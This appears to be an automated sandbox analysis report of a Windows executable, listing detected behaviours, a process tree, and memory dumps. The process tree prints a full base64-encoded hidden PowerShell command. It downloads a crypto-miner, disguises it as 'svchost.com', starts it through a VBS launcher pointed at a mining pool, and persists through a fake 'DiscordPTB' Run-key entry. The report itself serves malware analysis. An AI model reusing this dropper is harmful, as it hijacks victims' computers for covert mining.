Analysis
- user interaction
yes - max time kernel
14s - max time network
17s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
02/10/2026, 17:15
General
- Target HT7SL.exe
- Size 19.8MB
- Sample261002-vstrvs1ard
- SHA256 8a2a76187c2bb0e51a34ef6a38263a02ba7d52e23f358df1fd6eb131640712f4
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Suspicious behavior: EnumeratesProcesses 25 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\HT7SL.exe"C:\Users\Admin\AppData\Local\Temp\HT7SL.exe"1⤵
- Checks BIOS information in registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABoAD0AJwAyADkAMQBBADEAMwBDAEMAQgA0ADIANQA1AEIAMgBDADYARQA3AEYARgAyAEIANgBCAEIAQQA0ADEAOQBEAEQAQgAzADgARgAzADEAMgBCAEUARAAyADMARABBADcANgBGADUANABBAEEAQwBFAEMAMAAxADUAMgA3ADYANgBFACcAOwBpAGYAKABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAfAAlAHsAdAByAHkAewAkAF8ALgBQAGEAdABoAH0AYwBhAHQAYwBoAHsAfQB9AHwAPwB7ACQAXwB9AHwAcwBvAHIAdAAgAC0AdQB8AD8AewAoAEcAZQB0AC0ARgBpAGwAZQBIAGEAcwBoACAAJABfACAALQBBAGwAZwBvAHIAaQB0AGgAbQAgAFMASABBADIANQA2ACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBIAGEAcwBoACAALQBlAHEAIAAkAGgAfQApAHsAJwBhAGwAcgBlAGEAZAB5ACAAcgB1AG4AbgBpAG4AZwAnAH0AZQBsAHMAZQB7ACQAZAA9ACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAGkAYwByAG8AcwBvAGYAdABcAE0AaQBjAHIAbwBzAG8AZgB0AEUAZABnAGUAIgA7AG4AaQAgACQAZAAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA7ACQAegA9ACIAJABkAFwAawAuAHoAaQBwACIAOwBpAHcAcgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAAnAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AawByAHkAcAB0AGUAeAAtAG0AaQBuAGUAcgBzAC0AbwByAGcALwBrAHIAeQBwAHQAZQB4AC0AbQBpAG4AZQByAHMALwByAGUAbABlAGEAcwBlAHMALwBkAG8AdwBuAGwAbwBhAGQALwBrAHIAaQBnAC0AMQAtADUALQAzAC8AawByAGkAZwAtAG0AaQBuAGUAcgAtADEALgA1AC4AMwAtAHcAaQBuAC0AeAA2ADQALgB6AGkAcAAnACAALQBPAHUAdABGAGkAbABlACAAJAB6ADsAaQBmACgAKABHAGUAdAAtAEYAaQBsAGUASABhAHMAaAAgACQAegAgAC0AQQBsAGcAbwByAGkAdABoAG0AIABTAEgAQQAyADUANgApAC4ASABhAHMAaAAgAC0AbgBlACAAJwAxADkAMABCADAAOABGAEMAQwAwADMAMQA1ADQAQQA3AEQARgA1ADUAQwBCAEYANQAxADQAQwBBAEQARgAwADIAQwAxADUANgBBAEQAQwAxADMARgBCADIAQQA5ADYARgA1ADMAMgAzADQANgA5ADkARgBFADUAQQA0ADkARQBGACcAKQB7AHQAaAByAG8AdwAgACcASABhAHMAaAAgAGYAYQBsAHMAYwBoACcAfQA7AEUAeABwAGEAbgBkAC0AQQByAGMAaABpAHYAZQAgACQAegAgACQAZAAgAC0ARgBvAHIAYwBlADsATQBvAHYAZQAtAEkAdABlAG0AIAAiACQAZABcAGsAcgBpAGcALQBtAGkAbgBlAHIALgBlAHgAZQAiACAAIgAkAGQAXABzAHYAYwBoAG8AcwB0AC4AYwBvAG0AIgAgAC0ARgBvAHIAYwBlADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJAB6ACwAIgAkAGQAXABTAHQAYQByAHQALQBQAGUAYQByAGwALgBiAGEAdAAiACwAIgAkAGQAXABTAHQAYQByAHQALQBRAHUAYQBuAHQAdQBzAC4AYgBhAHQAIgAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAAIgAkAGQAXABzAHQAYQByAHQALgB2AGIAcwAiACAAJwBTAGUAdAAgAHMAaAA9AEMAcgBlAGEAdABlAE8AYgBqAGUAYwB0ACgAIgBXAFMAYwByAGkAcAB0AC4AUwBoAGUAbABsACIAKQAgADoAIABzAGgALgBDAHUAcgByAGUAbgB0AEQAaQByAGUAYwB0AG8AcgB5AD0AcwBoAC4ARQB4AHAAYQBuAGQARQBuAHYAaQByAG8AbgBtAGUAbgB0AFMAdAByAGkAbgBnAHMAKAAiACUAQQBQAFAARABBAFQAQQAlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABNAGkAYwByAG8AcwBvAGYAdABFAGQAZwBlACIAKQAgADoAIABzAGgALgBSAHUAbgAgACIAcwB2AGMAaABvAHMAdAAuAGMAbwBtACAALQAtAHUAcgBsACAAcwB0AHIAYQB0AHUAbQArAHMAcwBsADoALwAvAHAAcgBsAC4AawByAHkAcAB0AGUAeAAuAG4AZQB0AHcAbwByAGsAOgA4ADAANAA4ACAALQAtAHUAcwBlAHIAIABwAHIAbAAxAHAAYQBsAGoAYwBjADkAeQA3ADQAdwBlAGMAMwAwAHcAZQB1AHYAdwBkAG0AMgA5AGsAOQB6ADAANAA5AHoAdgBoAHgAeABkADMAZgBnAHoAZwBwAHAANAA2AGEAdwA5AHMAeQBwAGYAcQBsADIAZgB5AGoAdQAvAHIAaQBnADAAMQAgAC0ALQBnAHAAdQAtAGYAYQBuACAANwAwACIALAAgADAALAAgAEYAYQBsAHMAZQAnACAALQBFAG4AYwBvAGQAaQBuAGcAIABBAFMAQwBJAEkAOwBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAJwBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAnACAARABpAHMAYwBvAHIAZABQAFQAQgAgACgAJwB3AHMAYwByAGkAcAB0AC4AZQB4AGUAIAAiACcAKwAkAGQAKwAnAFwAcwB0AGEAcgB0AC4AdgBiAHMAIgAnACkAOwB3AHMAYwByAGkAcAB0AC4AZQB4AGUAIAAiACQAZABcAHMAdABhAHIAdAAuAHYAYgBzACIAfQA=2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_niecf02z.tkc.ps1
memory/2860-0-0x000001ECAD9E0000-0x000001ECAD9F0000-memory.dmp
memory/2860-1-0x000001ECAD9E0000-0x000001ECAD9F0000-memory.dmp
memory/2860-7-0x000001ECAFA90000-0x000001ECAFAB2000-memory.dmp
memory/2860-10-0x000001ECAD9E0000-0x000001ECAD9F0000-memory.dmp
memory/2860-11-0x000001ECAD9E0000-0x000001ECAD9F0000-memory.dmp
memory/2860-12-0x000001ECAD9E0000-0x000001ECAD9F0000-memory.dmp
memory/2860-13-0x000001ECAD9E0000-0x000001ECAD9F0000-memory.dmp
memory/2860-14-0x000001ECAD9E0000-0x000001ECAD9F0000-memory.dmp